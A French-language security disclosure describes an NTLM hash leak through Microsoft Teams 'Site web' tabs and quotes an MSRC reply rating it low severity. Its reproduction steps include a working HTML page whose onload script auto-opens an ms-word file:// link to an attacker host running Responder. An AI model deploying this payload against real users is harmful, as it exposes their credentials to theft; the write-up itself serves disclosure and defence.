Description

Lorsqu'un utilisateur accède à un onglet « Site web » qui dirige vers une page web spécialement conçue, cela peut entraîner l'exposition du hash NTLM via l'activation d'un schéma d'URL Office, réduisant ainsi le processus à un simple clic pour la fuite.

Si l'on tente d'ouvrir un lien au format ms-word:ofv|u|file://Share/File.docx depuis un navigateur, les étapes suivantes sont nécessaires :

1- L'utilisateur doit confirmer son intention d'ouvrir Word.

2- L'utilisateur doit reconnaître et accepter les risques indiqués par le message d'avertissement de MS Office.

Cependant, sur l'onglet Site web, l'action de l'utilisateur est simplifiée au seul fait d'accepter le risque.

Étapes de reproduction

Exécutez Responder sur une machine « attaquante »
Servez une page HTML contenant le code ci-dessous :

<html>
<head>
    <title>Auto Open Document</title>
</head>
<body>
    <a href="ms-word:ofv|u|file://ResponderIP_Or_MachineName/File.docx" id="autoOpenLink"></a>
    <script>
        window.onload = function() {
            document.getElementById('autoOpenLink').click();
        };
    </script>
</body>
</html>

3. Dans Teams, configurez un onglet « Site web » qui dirige vers la page web que vous venez de configurer. 4. Accédez à l'onglet.

Lorsque vous visitez l'onglet, un lien contrôlé par JavaScript déclenche automatiquement l'ouverture de Word. Si l'utilisateur accepte l'invite dans Word en cliquant sur « Oui », son hash NTLM est transmis à la machine de l'« attaquant ».

Démo

PoC

Divulgation

Le mercredi 27 mars 2024, 20:23 Microsoft Security Response Center <[email protected]mailto:[[email protected]](mailto:[email protected])> a écrit :
Bonjour,
Merci pour votre soumission. Nous avons déterminé que votre constatation est valide mais ne répond pas à nos critères de prise en charge immédiate, car la gravité du problème est faible. Nos ingénieurs ont indiqué qu'un utilisateur devrait encore donner son consentement dans Word ou d'autres clients Office avant que le hash NTLM ne soit divulgué, ce qui réduit la gravité. Cependant, nous avons signalé votre constatation pour un examen futur comme une opportunité d'améliorer nos produits, et comme un problème de fonctionnalité à améliorer. Je ne dispose pas d'un calendrier pour cet examen. Aucune autre action n'étant requise pour le moment, je clos ce dossier.
Cordialement,
MSRC

Le problème semble corrigé dans Microsoft Teams version 24033.813.2773.520.

TeamsNTLMLeak

Populaires